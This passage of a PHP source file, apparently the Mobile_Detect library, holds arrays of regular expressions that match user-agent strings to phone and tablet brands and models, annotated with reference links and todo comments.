        'Samsung' => '\bSamsung\b|SM-G950F|SM-G955F|SM-G9250|GT-19300|SGH-I337|BGT-S5230|GT-B2100|GT-B2700|GT-B2710|GT-B3210|GT-B3310|GT-B3410|GT-B3730|GT-B3740|GT-B5510|GT-B5512|GT-B5722|GT-B6520|GT-B7300|GT-B7320|GT-B7330|GT-B7350|GT-B7510|GT-B7722|GT-B7800|GT-C3010|GT-C3011|GT-C3060|GT-C3200|GT-C3212|GT-C3212I|GT-C3262|GT-C3222|GT-C3300|GT-C3300K|GT-C3303|GT-C3303K|GT-C3310|GT-C3322|GT-C3330|GT-C3350|GT-C3500|GT-C3510|GT-C3530|GT-C3630|GT-C3780|GT-C5010|GT-C5212|GT-C6620|GT-C6625|GT-C6712|GT-E1050|GT-E1070|GT-E1075|GT-E1080|GT-E1081|GT-E1085|GT-E1087|GT-E1100|GT-E1107|GT-E1110|GT-E1120|GT-E1125|GT-E1130|GT-E1160|GT-E1170|GT-E1175|GT-E1180|GT-E1182|GT-E1200|GT-E1210|GT-E1225|GT-E1230|GT-E1390|GT-E2100|GT-E2120|GT-E2121|GT-E2152|GT-E2220|GT-E2222|GT-E2230|GT-E2232|GT-E2250|GT-E2370|GT-E2550|GT-E2652|GT-E3210|GT-E3213|GT-I5500|GT-I5503|GT-I5700|GT-I5800|GT-I5801|GT-I6410|GT-I6420|GT-I7110|GT-I7410|GT-I7500|GT-I8000|GT-I8150|GT-I8160|GT-I8190|GT-I8320|GT-I8330|GT-I8350|GT-I8530|GT-I8700|GT-I8703|GT-I8910|GT-I9000|GT-I9001|GT-I9003|GT-I9010|GT-I9020|GT-I9023|GT-I9070|GT-I9082|GT-I9100|GT-I9103|GT-I9220|GT-I9250|GT-I9300|GT-I9305|GT-I9500|GT-I9505|GT-M3510|GT-M5650|GT-M7500|GT-M7600|GT-M7603|GT-M8800|GT-M8910|GT-N7000|GT-S3110|GT-S3310|GT-S3350|GT-S3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|GT-S5603|GT-S5610|GT-S5620|GT-S5660|GT-S5670|GT-S5690|GT-S5750|GT-S5780|GT-S5830|GT-S5839|GT-S6102|GT-S6500|GT-S7070|GT-S7200|GT-S7220|GT-S7230|GT-S7233|GT-S7250|GT-S7500|GT-S7530|GT-S7550|GT-S7562|GT-S7710|GT-S8000|GT-S8003|GT-S8500|GT-S8530|GT-S8600|SCH-A310|SCH-A530|SCH-A570|SCH-A610|SCH-A630|SCH-A650|SCH-A790|SCH-A795|SCH-A850|SCH-A870|SCH-A890|SCH-A930|SCH-A950|SCH-A970|SCH-A990|SCH-I100|SCH-I110|SCH-I400|SCH-I405|SCH-I500|SCH-I510|SCH-I515|SCH-I600|SCH-I730|SCH-I760|SCH-I770|SCH-I830|SCH-I910|SCH-I920|SCH-I959|SCH-LC11|SCH-N150|SCH-N300|SCH-R100|SCH-R300|SCH-R351|SCH-R400|SCH-R410|SCH-T300|SCH-U310|SCH-U320|SCH-U350|SCH-U360|SCH-U365|SCH-U370|SCH-U380|SCH-U410|SCH-U430|SCH-U450|SCH-U460|SCH-U470|SCH-U490|SCH-U540|SCH-U550|SCH-U620|SCH-U640|SCH-U650|SCH-U660|SCH-U700|SCH-U740|SCH-U750|SCH-U810|SCH-U820|SCH-U900|SCH-U940|SCH-U960|SCS-26UC|SGH-A107|SGH-A117|SGH-A127|SGH-A137|SGH-A157|SGH-A167|SGH-A177|SGH-A187|SGH-A197|SGH-A227|SGH-A237|SGH-A257|SGH-A437|SGH-A517|SGH-A597|SGH-A637|SGH-A657|SGH-A667|SGH-A687|SGH-A697|SGH-A707|SGH-A717|SGH-A727|SGH-A737|SGH-A747|SGH-A767|SGH-A777|SGH-A797|SGH-A817|SGH-A827|SGH-A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|SGH-B100|SGH-B130|SGH-B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|SGH-C180|SGH-C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D357|SGH-D407|SGH-D415|SGH-D780|SGH-D807|SGH-D980|SGH-E105|SGH-E200|SGH-E315|SGH-E316|SGH-E317|SGH-E335|SGH-E590|SGH-E635|SGH-E715|SGH-E890|SGH-F300|SGH-F480|SGH-I200|SGH-I300|SGH-I320|SGH-I550|SGH-I577|SGH-I600|SGH-I607|SGH-I617|SGH-I627|SGH-I637|SGH-I677|SGH-I700|SGH-I717|SGH-I727|SGH-i747M|SGH-I777|SGH-I780|SGH-I827|SGH-I847|SGH-I857|SGH-I896|SGH-I897|SGH-I900|SGH-I907|SGH-I917|SGH-I927|SGH-I937|SGH-I997|SGH-J150|SGH-J200|SGH-L170|SGH-L700|SGH-M110|SGH-M150|SGH-M200|SGH-N105|SGH-N500|SGH-N600|SGH-N620|SGH-N625|SGH-N700|SGH-N710|SGH-P107|SGH-P207|SGH-P300|SGH-P310|SGH-P520|SGH-P735|SGH-P777|SGH-Q105|SGH-R210|SGH-R220|SGH-R225|SGH-S105|SGH-S307|SGH-T109|SGH-T119|SGH-T139|SGH-T209|SGH-T219|SGH-T229|SGH-T239|SGH-T249|SGH-T259|SGH-T309|SGH-T319|SGH-T329|SGH-T339|SGH-T349|SGH-T359|SGH-T369|SGH-T379|SGH-T409|SGH-T429|SGH-T439|SGH-T459|SGH-T469|SGH-T479|SGH-T499|SGH-T509|SGH-T519|SGH-T539|SGH-T559|SGH-T589|SGH-T609|SGH-T619|SGH-T629|SGH-T639|SGH-T659|SGH-T669|SGH-T679|SGH-T709|SGH-T719|SGH-T729|SGH-T739|SGH-T746|SGH-T749|SGH-T759|SGH-T769|SGH-T809|SGH-T819|SGH-T839|SGH-T919|SGH-T929|SGH-T939|SGH-T959|SGH-T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X100|SGH-X105|SGH-X120|SGH-X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-X630|SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M110|SPH-A120|SPH-A400|SPH-A420|SPH-A460|SPH-A500|SPH-A560|SPH-A600|SPH-A620|SPH-A660|SPH-A700|SPH-A740|SPH-A760|SPH-A790|SPH-A800|SPH-A820|SPH-A840|SPH-A880|SPH-A900|SPH-A940|SPH-A960|SPH-D600|SPH-D700|SPH-D710|SPH-D720|SPH-I300|SPH-I325|SPH-I330|SPH-I350|SPH-I500|SPH-I600|SPH-I700|SPH-L700|SPH-M100|SPH-M220|SPH-M240|SPH-M300|SPH-M305|SPH-M320|SPH-M330|SPH-M350|SPH-M360|SPH-M370|SPH-M380|SPH-M510|SPH-M540|SPH-M550|SPH-M560|SPH-M570|SPH-M580|SPH-M610|SPH-M620|SPH-M630|SPH-M800|SPH-M810|SPH-M850|SPH-M900|SPH-M910|SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-N400|SPH-Z400|SWC-E100|SCH-i909|GT-N7100|GT-N7105|SCH-I535|SM-N900A|SGH-I317|SGH-T999L|GT-S5360B|GT-I8262|GT-S6802|GT-S6312|GT-S6310|GT-S5312|GT-S5310|GT-I9105|GT-I8510|GT-S6790N|SM-G7105|SM-N9005|GT-S5301|GT-I9295|GT-I9195|SM-C101|GT-S7392|GT-S7560|GT-B7610|GT-I5510|GT-S7582|GT-S7530E|GT-I8750|SM-G9006V|SM-G9008V|SM-G9009D|SM-G900A|SM-G900D|SM-G900F|SM-G900H|SM-G900I|SM-G900J|SM-G900K|SM-G900L|SM-G900M|SM-G900P|SM-G900R4|SM-G900S|SM-G900T|SM-G900V|SM-G900W8|SHV-E160K|SCH-P709|SCH-P729|SM-T2558|GT-I9205|SM-G9350|SM-J120F|SM-G920F|SM-G920V|SM-G930F|SM-N910C|SM-A310F|GT-I9190|SM-J500FN|SM-G903F|SM-J330F',
        'LG' => '\bLG\b;|LG[- ]?(C800|C900|E400|E610|E900|E-900|F160|F180K|F180L|F180S|730|855|L160|LS740|LS840|LS970|LU6200|MS690|MS695|MS770|MS840|MS870|MS910|P500|P700|P705|VM696|AS680|AS695|AX840|C729|E970|GS505|272|C395|E739BK|E960|L55C|L75C|LS696|LS860|P769BK|P350|P500|P509|P870|UN272|US730|VS840|VS950|LN272|LN510|LS670|LS855|LW690|MN270|MN510|P509|P769|P930|UN200|UN270|UN510|UN610|US670|US740|US760|UX265|UX840|VN271|VN530|VS660|VS700|VS740|VS750|VS910|VS920|VS930|VX9200|VX11000|AX840A|LW770|P506|P925|P999|E612|D955|D802|MS323|M257)',
        'Sony' => 'SonyST|SonyLT|SonyEricsson|SonyEricssonLT15iv|LT18i|E10i|LT28h|LT26w|SonyEricssonMT27i|C5303|C6902|C6903|C6906|C6943|D2533',
        'Asus' => 'Asus.*Galaxy|PadFone.*Mobile',
        'NokiaLumia' => 'Lumia [0-9]{3,4}',
        // http://www.micromaxinfo.com/mobiles/smartphones
        // Added because the codes might conflict with Acer Tablets.
        'Micromax' => 'Micromax.*\b(A210|A92|A88|A72|A111|A110Q|A115|A116|A110|A90S|A26|A51|A35|A54|A25|A27|A89|A68|A65|A57|A90)\b',
        // @todo Complete the regex.
        'Palm' => 'PalmSource|Palm', // avantgo|blazer|elaine|hiptop|plucker|xiino ;
        'Vertu' => 'Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature', // Just for fun ;)
        // http://www.pantech.co.kr/en/prod/prodList.do?gbrand=VEGA (PANTECH)
        // Most of the VEGA devices are legacy. PANTECH seem to be newer devices based on Android.
        'Pantech' => 'PANTECH|IM-A850S|IM-A840S|IM-A830L|IM-A830K|IM-A830S|IM-A820L|IM-A810K|IM-A810S|IM-A800S|IM-T100K|IM-A725L|IM-A780L|IM-A775C|IM-A770K|IM-A760S|IM-A750K|IM-A740S|IM-A730S|IM-A720L|IM-A710K|IM-A690L|IM-A690S|IM-A650S|IM-A630K|IM-A600S|VEGA PTL21|PT003|P8010|ADR910L|P6030|P6020|P9070|P4100|P9060|P5000|CDM8992|TXT8045|ADR8995|IS11PT|P2030|P6010|P8000|PT002|IS06|CDM8999|P9050|PT001|TXT8040|P2020|P9020|P2000|P7040|P7000|C790',
        // http://www.fly-phone.com/devices/smartphones/ ; Included only smartphones.
        'Fly' => 'IQ230|IQ444|IQ450|IQ440|IQ442|IQ441|IQ245|IQ256|IQ236|IQ255|IQ235|IQ245|IQ275|IQ240|IQ285|IQ280|IQ270|IQ260|IQ250',
        // http://fr.wikomobile.com
        'Wiko' => 'KITE 4G|HIGHWAY|GETAWAY|STAIRWAY|DARKSIDE|DARKFULL|DARKNIGHT|DARKMOON|SLIDE|WAX 4G|RAINBOW|BLOOM|SUNSET|GOA(?!nna)|LENNY|BARRY|IGGY|OZZY|CINK FIVE|CINK PEAX|CINK PEAX 2|CINK SLIM|CINK SLIM 2|CINK +|CINK KING|CINK PEAX|CINK SLIM|SUBLIM',
        'iMobile' => 'i-mobile (IQ|i-STYLE|idea|ZAA|Hitz)',
        // Added simvalley mobile just for fun. They have some interesting devices.
        // http://www.simvalley.fr/telephonie---gps-_22_telephonie-mobile_telephones_.html
        'SimValley' => '\b(SP-80|XT-930|SX-340|XT-930|SX-310|SP-360|SP60|SPT-800|SP-120|SPT-800|SP-140|SPX-5|SPX-8|SP-100|SPX-8|SPX-12)\b',
        // Wolfgang - a brand that is sold by Aldi supermarkets.
        // http://www.wolfgangmobile.com/
        'Wolfgang' => 'AT-B24D|AT-AS50HD|AT-AS40W|AT-AS55HD|AT-AS45q2|AT-B26D|AT-AS50Q',
        'Alcatel' => 'Alcatel',
        'Nintendo' => 'Nintendo (3DS|Switch)',
        // http://en.wikipedia.org/wiki/Amoi
        'Amoi' => 'Amoi',
        // http://en.wikipedia.org/wiki/INQ
        'INQ' => 'INQ',
        'OnePlus' => 'ONEPLUS',
        // @Tapatalk is a mobile app; http://support.tapatalk.com/threads/smf-2-0-2-os-and-browser-detection-plugin-and-tapatalk.15565/#post-79039
        'GenericPhone' => 'Tapatalk|PDA;|SAGEM|\bmmp\b|pocket|\bpsp\b|symbian|Smartphone|smartfon|treo|up.browser|up.link|vodafone|\bwap\b|nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser',
    );

    /**
     * List of tablet devices.
     *
     * @var array
     */
    protected static $tabletDevices = array(
        // @todo: check for mobile friendly emails topic.
        'iPad' => 'iPad|iPad.*Mobile',
        // Removed |^.*Android.*Nexus(?!(?:Mobile).)*$
        // @see #442
        // @todo Merge NexusTablet into GoogleTablet.
        'NexusTablet' => 'Android.*Nexus[\s]+(7|9|10)',
        // https://en.wikipedia.org/wiki/Pixel_C
        'GoogleTablet' => 'Android.*Pixel C',
        'SamsungTablet' => 'SAMSUNG.*Tablet|Galaxy.*Tab|SC-01C|GT-P1000|GT-P1003|GT-P1010|GT-P3105|GT-P6210|GT-P6800|GT-P6810|GT-P7100|GT-P7300|GT-P7310|GT-P7500|GT-P7510|SCH-I800|SCH-I815|SCH-I905|SGH-I957|SGH-I987|SGH-T849|SGH-T859|SGH-T869|SPH-P100|GT-P3100|GT-P3108|GT-P3110|GT-P5100|GT-P5110|GT-P6200|GT-P7320|GT-P7511|GT-N8000|GT-P8510|SGH-I497|SPH-P500|SGH-T779|SCH-I705|SCH-I915|GT-N8013|GT-P3113|GT-P5113|GT-P8110|GT-N8010|GT-N8005|GT-N8020|GT-P1013|GT-P6201|GT-P7501|GT-N5100|GT-N5105|GT-N5110|SHV-E140K|SHV-E140L|SHV-E140S|SHV-E150S|SHV-E230K|SHV-E230L|SHV-E230S|SHW-M180K|SHW-M180L|SHW-M180S|SHW-M180W|SHW-M300W|SHW-M305W|SHW-M380K|SHW-M380S|SHW-M380W|SHW-M430W|SHW-M480K|SHW-M480S|SHW-M480W|SHW-M485W|SHW-M486W|SHW-M500W|GT-I9228|SCH-P739|SCH-I925|GT-I9200|GT-P5200|GT-P5210|GT-P5210X|SM-T311|SM-T310|SM-T310X|SM-T210|SM-T210R|SM-T211|SM-P600|SM-P601|SM-P605|SM-P900|SM-P901|SM-T217|SM-T217A|SM-T217S|SM-P6000|SM-T3100|SGH-I467|XE500|SM-T110|GT-P5220|GT-I9200X|GT-N5110X|GT-N5120|SM-P905|SM-T111|SM-T2105|SM-T315|SM-T320|SM-T320X|SM-T321|SM-T520|SM-T525|SM-T530NU|SM-T230NU|SM-T330NU|SM-T900|XE500T1C|SM-P605V|SM-P905V|SM-T337V|SM-T537V|SM-T707V|SM-T807V|SM-P600X|SM-P900X|SM-T210X|SM-T230|SM-T230X|SM-T325|GT-P7503|SM-T531|SM-T330|SM-T530|SM-T705|SM-T705C|SM-T535|SM-T331|SM-T800|SM-T700|SM-T537|SM-T807|SM-P907A|SM-T337A|SM-T537A|SM-T707A|SM-T807A|SM-T237|SM-T807P|SM-P607T|SM-T217T|SM-T337T|SM-T807T|SM-T116NQ|SM-T116BU|SM-P550|SM-T350|SM-T550|SM-T9000|SM-P9000|SM-T705Y|SM-T805|GT-P3113|SM-T710|SM-T810|SM-T815|SM-T360|SM-T533|SM-T113|SM-T335|SM-T715|SM-T560|SM-T670|SM-T677|SM-T377|SM-T567|SM-T357T|SM-T555|SM-T561|SM-T713|SM-T719|SM-T813|SM-T819|SM-T580|SM-T355Y?|SM-T280|SM-T817A|SM-T820|SM-W700|SM-P580|SM-T587|SM-P350|SM-P555M|SM-P355M|SM-T113NU|SM-T815Y|SM-T585|SM-T285|SM-T825|SM-W708|SM-T835', // SCH-P709|SCH-P729|SM-T2558|GT-I9205 - Samsung Mega - treat them like a regular phone.
        // http://docs.aws.amazon.com/silk/latest/developerguide/user-agent.html
        'Kindle' => 'Kindle|Silk.*Accelerated|Android.*\b(KFOT|KFTT|KFJWI|KFJWA|KFOTE|KFSOWI|KFTHWI|KFTHWA|KFAPWI|KFAPWA|WFJWAE|KFSAWA|KFSAWI|KFASWI|KFARWI|KFFOWI|KFGIWI|KFMEWI)\b|Android.*Silk/[0-9.]+ like Chrome/[0-9.]+ (?!Mobile)',
        // Only the Surface tablets with Windows RT are considered mobile.
        // http://msdn.microsoft.com/en-us/library/ie/hh920767(v=vs.85).aspx
        'SurfaceTablet' => 'Windows NT [0-9.]+; ARM;.*(Tablet|ARMBJS)',
        // http://shopping1.hp.com/is-bin/INTERSHOP.enfinity/WFS/WW-USSMBPublicStore-Site/en_US/-/USD/ViewStandardCatalog-Browse?CatalogCategoryID=JfIQ7EN5lqMAAAEyDcJUDwMT
        'HPTablet' => 'HP Slate (7|8|10)|HP ElitePad 900|hp-tablet|EliteBook.*Touch|HP 8|Slate 21|HP SlateBook 10',
        // Watch out for PadFone, see #132.
        // http://www.asus.com/de/Tablets_Mobile/Memo_Pad_Products/
        'AsusTablet' => '^.*PadFone((?!Mobile).)*$|Transformer|TF101|TF101G|TF300T|TF300TG|TF300TL|TF700T|TF700KL|TF701T|TF810C|ME171|ME301T|ME302C|ME371MG|ME370T|ME372MG|ME172V|ME173X|ME400C|Slider SL101|\bK00F\b|\bK00C\b|\bK00E\b|\bK00L\b|TX201LA|ME176C|ME102A|\bM80TA\b|ME372CL|ME560CG|ME372CG|ME302KL| K010 | K011 | K017 | K01E |ME572C|ME103K|ME170C|ME171C|\bME70C\b|ME581C|ME581CL|ME8510C|ME181C|P01Y|PO1MA|P01Z|\bP027\b|\bP024\b|\bP00C\b',
        'BlackBerryTablet' => 'PlayBook|RIM Tablet',
        'HTCtablet' => 'HTC_Flyer_P512|HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200|PG09410',
        'MotorolaTablet' => 'xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617',
        'NookTablet' => 'Android.*Nook|NookColor|nook browser|BNRV200|BNRV200A|BNTV250|BNTV250A|BNTV400|BNTV600|LogicPD Zoom2',
        // http://www.acer.ro/ac/ro/RO/content/drivers
        // http://www.packardbell.co.uk/pb/en/GB/content/download (Packard Bell is part of Acer)
        // http://us.acer.com/ac/en/US/content/group/tablets
        // http://www.acer.de/ac/de/DE/content/models/tablets/
        // Can conflict with Micromax and Motorola phones codes.
        'AcerTablet' => 'Android.*; \b(A100|A101|A110|A200|A210|A211|A500|A501|A510|A511|A700|A701|W500|W500P|W501|W501P|W510|W511|W700|G100|G100W|B1-A71|B1-710|B1-711|A1-810|A1-811|A1-830)\b|W3-810|\bA3-A10\b|\bA3-A11\b|\bA3-A20\b|\bA3-A30',
        // http://eu.computers.toshiba-europe.com/innovation/family/Tablets/1098744/banner_id/tablet_footerlink/
        // http://us.toshiba.com/tablets/tablet-finder
        // http://www.toshiba.co.jp/regza/tablet/
        'ToshibaTablet' => 'Android.*(AT100|AT105|AT200|AT205|AT270|AT275|AT300|AT305|AT1S5|AT500|AT570|AT700|AT830)|TOSHIBA.*FOLIO',
        // http://www.nttdocomo.co.jp/english/service/developer/smart_phone/technical_info/spec/index.html
        // http://www.lg.com/us/tablets
        'LGTablet' => '\bL-06C|LG-V909|LG-V900|LG-V700|LG-V510|LG-V500|LG-V410|LG-V400|LG-VK810\b',
        'FujitsuTablet' => 'Android.*\b(F-01D|F-02F|F-05E|F-10D|M532|Q572)\b',
        // Prestigio Tablets http://www.prestigio.com/support
        'PrestigioTablet' => 'PMP3170B|PMP3270B|PMP3470B|PMP7170B|PMP3370B|PMP3570C|PMP5870C|PMP3670B|PMP5570C|PMP5770D|PMP3970B|PMP3870C|PMP5580C|PMP5880D|PMP5780D|PMP5588C|PMP7280C|PMP7280C3G|PMP7280|PMP7880D|PMP5597D|PMP5597|PMP7100D|PER3464|PER3274|PER3574|PER3884|PER5274|PER5474|PMP5097CPRO|PMP5097|PMP7380D|PMP5297C|PMP5297C_QUAD|PMP812E|PMP812E3G|PMP812F|PMP810E|PMP880TD|PMT3017|PMT3037|PMT3047|PMT3057|PMT7008|PMT5887|PMT5001|PMT5002',
        // http://support.lenovo.com/en_GB/downloads/default.page?#
        'LenovoTablet' => 'Lenovo TAB|Idea(Tab|Pad)( A1|A10| K1|)|ThinkPad([ ]+)?Tablet|YT3-850M|YT3-X90L|YT3-X90F|YT3-X90X|Lenovo.*(S2109|S2110|S5000|S6000|K3011|A3000|A3500|A1000|A2107|A2109|A1107|A5500|A7600|B6000|B8000|B8080)(-|)(FL|F|HV|H|)|TB-X103F|TB-X304F|TB-X304L|TB-8703F|Tab2A7-10F|TB2-X30L',
        // http://www.dell.com/support/home/us/en/04/Products/tab_mob/tablets
        'DellTablet' => 'Venue 11|Venue 8|Venue 7|Dell Streak 10|Dell Streak 7',
        // http://www.yarvik.com/en/matrix/tablets/
        'YarvikTablet' => 'Android.*\b(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468|TAB07-100|TAB07-101|TAB07-150|TAB07-151|TAB07-152|TAB07-200|TAB07-201-3G|TAB07-210|TAB07-211|TAB07-212|TAB07-214|TAB07-220|TAB07-400|TAB07-485|TAB08-150|TAB08-200|TAB08-201-3G|TAB08-201-30|TAB09-100|TAB09-211|TAB09-410|TAB10-150|TAB10-201|TAB10-211|TAB10-400|TAB10-410|TAB13-201|TAB274EUK|TAB275EUK|TAB374EUK|TAB462EUK|TAB474EUK|TAB9-200)\b',
        'MedionTablet' => 'Android.*\bOYO\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB',
        'ArnovaTablet' => '97G4|AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT|AN9G2',
        // http://www.intenso.de/kategorie_en.php?kategorie=33
        // @todo: http://www.nbhkdz.com/read/b8e64202f92a2df129126bff.html - investigate
        'IntensoTablet' => 'INM8002KP|INM1010FP|INM805ND|Intenso Tab|TAB1004',
        // IRU.ru Tablets http://www.iru.ru/catalog/soho/planetable/
        'IRUTablet' => 'M702pro',
        'MegafonTablet' => 'MegaFon V9|\bZTE V9\b|Android.*\bMT7A\b',
        // http://www.e-boda.ro/tablete-pc.html
        'EbodaTablet' => 'E-Boda (Supreme|Impresspeed|Izzycomm|Essential)',
        // http://www.allview.ro/produse/droseries/lista-tablete-pc/
        'AllViewTablet' => 'Allview.*(Viva|Alldro|City|Speed|All TV|Frenzy|Quasar|Shine|TX1|AX1|AX2)',
        // http://wiki.archosfans.com/index.php?title=Main_Page
        // @note Rewrite the regex format after we add more UAs.
        'ArchosTablet' => '\b(101G9|80G9|A101IT)\b|Qilive 97R|Archos5|\bARCHOS (70|79|80|90|97|101|FAMILYPAD|)(b|c|)(G10| Cobalt| TITANIUM(HD|)| Xenon| Neon|XSK| 2| XS 2| PLATINUM| CARBON|GAMEPAD)\b',
        // http://www.ainol.com/plugin.php?identifier=ainol&module=product
        'AinolTablet' => 'NOVO7|NOVO8|NOVO10|Novo7Aurora|Novo7Basic|NOVO7PALADIN|novo9-Spark',
        'NokiaLumiaTablet' => 'Lumia 2520',
        // @todo: inspect http://esupport.sony.com/US/p/select-system.pl?DIRECTOR=DRIVER
        // Readers http://www.atsuhiro-me.net/ebook/sony-reader/sony-reader-web-browser
        // http://www.sony.jp/support/tablet/
        'SonyTablet' => 'Sony.*Tablet|Xperia Tablet|Sony Tablet S|SO-03E|SGPT12|SGPT13|SGPT114|SGPT121|SGPT122|SGPT123|SGPT111|SGPT112|SGPT113|SGPT131|SGPT132|SGPT133|SGPT211|SGPT212|SGPT213|SGP311|SGP312|SGP321|EBRD1101|EBRD1102|EBRD1201|SGP351|SGP341|SGP511|SGP512|SGP521|SGP541|SGP551|SGP621|SGP641|SGP612|SOT31|SGP771|SGP611|SGP612|SGP712',
        // http://www.support.philips.com/support/catalog/worldproducts.jsp?userLanguage=en&userCountry=cn&categoryid=3G_LTE_TABLET_SU_CN_CARE&title=3G%20tablets%20/%20LTE%20range&_dyncharset=UTF-8
        'PhilipsTablet' => '\b(PI2010|PI3000|PI3100|PI3105|PI3110|PI3205|PI3210|PI3900|PI4010|PI7000|PI7100)\b',
        // db + http://www.cube-tablet.com/buy-products.html
        'CubeTablet' => 'Android.*(K8GT|U9GT|U10GT|U16GT|U17GT|U18GT|U19GT|U20GT|U23GT|U30GT)|CUBE U8GT',
        // http://www.cobyusa.com/?p=pcat&pcat_id=3001
        'CobyTablet' => 'MID1042|MID1045|MID1125|MID1126|MID7012|MID7014|MID7015|MID7034|MID7035|MID7036|MID7042|MID7048|MID7127|MID8042|MID8048|MID8127|MID9042|MID9740|MID9742|MID7022|MID7010',
        // http://www.match.net.cn/products.asp
        'MIDTablet' => 'M9701|M9000|M9100|M806|M1052|M806|T703|MID701|MID713|MID710|MID727|MID760|MID830|MID728|MID933|MID125|MID810|MID732|MID120|MID930|MID800|MID731|MID900|MID100|MID820|MID735|MID980|MID130|MID833|MID737|MID960|MID135|MID860|MID736|MID140|MID930|MID835|MID733|MID4X10',
        // http://www.msi.com/support
        // @todo Research the Windows Tablets.
        'MSITablet' => 'MSI \b(Primo 73K|Primo 73L|Primo 81L|Primo 77|Primo 93|Primo 75|Primo 76|Primo 73|Primo 81|Primo 91|Primo 90|Enjoy 71|Enjoy 7|Enjoy 10)\b',
        // @todo http://www.kyoceramobile.com/support/drivers/
        //    'KyoceraTablet' => null,
        // @todo http://intexuae.com/index.php/category/mobile-devices/tablets-products/
        //    'IntextTablet' => null,
        // http://pdadb.net/index.php?m=pdalist&list=SMiT (NoName Chinese Tablets)
        // http://www.imp3.net/14/show.php?itemid=20454
        'SMiTTablet' => 'Android.*(\bMID\b|MID-560|MTV-T1200|MTV-PND531|MTV-P1101|MTV-PND530)',
        // http://www.rock-chips.com/index.php?do=prod&pid=2
        'RockChipTablet' => 'Android.*(RK2818|RK2808A|RK2918|RK3066)|RK2738|RK2808A',
        // http://www.fly-phone.com/devices/tablets/ ; http://www.fly-phone.com/service/
        'FlyTablet' => 'IQ310|Fly Vision',
        // http://www.bqreaders.com/gb/tablets-prices-sale.html
        'bqTablet' => 'Android.*(bq)?.*(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|Tesla|Hypatia|Platon|Newton|Livingstone|Cervantes|Avant|Aquaris ([E|M]10|M8))|Maxwell.*Lite|Maxwell.*Plus',
        // http://www.huaweidevice.com/worldwide/productFamily.do?method=index&directoryId=5011&treeId=3290
        // http://www.huaweidevice.com/worldwide/downloadCenter.do?method=index&directoryId=3372&treeId=0&tb=1&type=software (including legacy tablets)
        'HuaweiTablet' => 'MediaPad|MediaPad 7 Youth|IDEOS S7|S7-201c|S7-202u|S7-101|S7-103|S7-104|S7-105|S7-106|S7-201|S7-Slim|M2-A01L|BAH-L09|BAH-W09',
        // Nec or Medias Tab
        'NecTablet' => '\bN-06D|\bN-08D',
        // Pantech Tablets: http://www.pantechusa.com/phones/
        'PantechTablet' => 'Pantech.*P4100',
        // Broncho Tablets: http://www.broncho.cn/ (hard to find)
        'BronchoTablet' => 'Broncho.*(N701|N708|N802|a710)',
        // http://versusuk.com/support.html
        'VersusTablet' => 'TOUCHPAD.*[78910]|\bTOUCHTAB\b',
        // http://www.zync.in/index.php/our-products/tablet-phablets
        'ZyncTablet' => 'z1000|Z99 2G|z99|z930|z999|z990|z909|Z919|z900',
        // http://www.positivoinformatica.com.br/www/pessoal/tablet-ypy/
        'PositivoTablet' => 'TB07STA|TB10STA|TB07FTA|TB10FTA',
        // https://www.nabitablet.com/
        'NabiTablet' => 'Android.*\bNabi',
        'KoboTablet' => 'Kobo Touch|\bK080\b|\bVox\b Build|\bArc\b Build',
        // French Danew Tablets http://www.danew.com/produits-tablette.php
        'DanewTablet' => 'DSlide.*\b(700|701R|702|703R|704|802|970|971|972|973|974|1010|1012)\b',
        // Texet Tablets and Readers http://www.texet.ru/tablet/
        'TexetTablet' => 'NaviPad|TB-772A|TM-7045|TM-7055|TM-9750|TM-7016|TM-7024|TM-7026|TM-7041|TM-7043|TM-7047|TM-8041|TM-9741|TM-9747|TM-9748|TM-9751|TM-7022|TM-7021|TM-7020|TM-7011|TM-7010|TM-7023|TM-7025|TM-7037W|TM-7038W|TM-7027W|TM-9720|TM-9725|TM-9737W|TM-1020|TM-9738W|TM-9740|TM-9743W|TB-807A|TB-771A|TB-727A|TB-725A|TB-719A|TB-823A|TB-805A|TB-723A|TB-715A|TB-707A|TB-705A|TB-709A|TB-711A|TB-890HD|TB-880HD|TB-790HD|TB-780HD|TB-770HD|TB-721HD|TB-710HD|TB-434HD|TB-860HD|TB-840HD|TB-760HD|TB-750HD|TB-740HD|TB-730HD|TB-722HD|TB-720HD|TB-700HD|TB-500HD|TB-470HD|TB-431HD|TB-430HD|TB-506|TB-504|TB-446|TB-436|TB-416|TB-146SE|TB-126SE',
        // Avoid detecting 'PLAYSTATION 3' as mobile.
        'PlaystationTablet' => 'Playstation.*(Portable|Vita)',
        // http://www.trekstor.de/surftabs.html
